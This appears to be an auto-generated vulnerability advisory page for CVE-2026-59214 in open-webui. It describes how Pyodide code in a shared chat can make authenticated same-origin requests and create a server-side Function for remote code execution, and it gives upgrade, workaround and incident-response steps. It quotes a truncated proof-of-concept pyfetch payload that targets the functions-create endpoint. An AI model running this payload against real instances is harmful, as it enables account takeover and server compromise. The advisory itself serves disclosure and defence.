Cross-Site Scripting (XSS) in open-webui (CVE-2026-59214)
Summary
Cross-site scripting in open-webui (CVE-2026-59214). Confidential information can be exposed externally. Exploitable via pyodide.http.pyfetch. Mitigation: upgrade to 0.10.0 or later.
Original description
The description as published by the source.
Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat
Summary
Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution.
Details
Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as the victim. No separate XSS sink is required: storing the payload in a shared chat and having the victim run it is enough.
from pyodide.http import pyfetch
import json
await pyfetch('/api/v1/functions/create', method='POST', credentials='include',
headers={'Content-Type': 'application/json'},
body=json.dumps({'id': 'x', 'name': 'x', 'meta': {'description': 'x'},
'content': "import os; os.syst…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-59214 has been found in open-webui.
Attackers can target a specific entry point like pyodide.http.pyfetch over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 7.3/10.
What to do: upgrade open-webui to 0.10.0 or later.
If unsure, ask your IT team or search "open-webui CVE-2026-59214" on the vendor's site.
CVE-2026-59214 (open-webui) — CWE-79 / CVSS v3 7.3
Attack vector: remote (network-reachable)
Attack surface: pyodide.http.pyfetch / fetch / XMLHttpRequest / workspace.functions
Patched: 0.10.0 — apply immediately
Workaround: Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Cross-site scripting (XSS) (CWE-79) exists in open-webui. Attackers reach the vulnerable code path via pyodide.http.pyfetch.
Check the vendor advisory for the affected versions of open-webui. Attack surface: pyodide.http.pyfetch / fetch / XMLHttpRequest / workspace.functions.
Severity: High (CVSS 7.3/10). Confidential information can be exposed externally.
Update to 0.10.0.
Workaround: Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'open-webui' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'open-webui' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
open-webuiを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply temporary workaround mitigate
Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.パッチが適用されるまでの応急処置として、Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option. を実施。回避策の副作用 (機能低下) を確認した上で。
-
3Apply patch patch
Upgrade open-webui to 0.10.0ステージング環境で 0.10.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
4Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com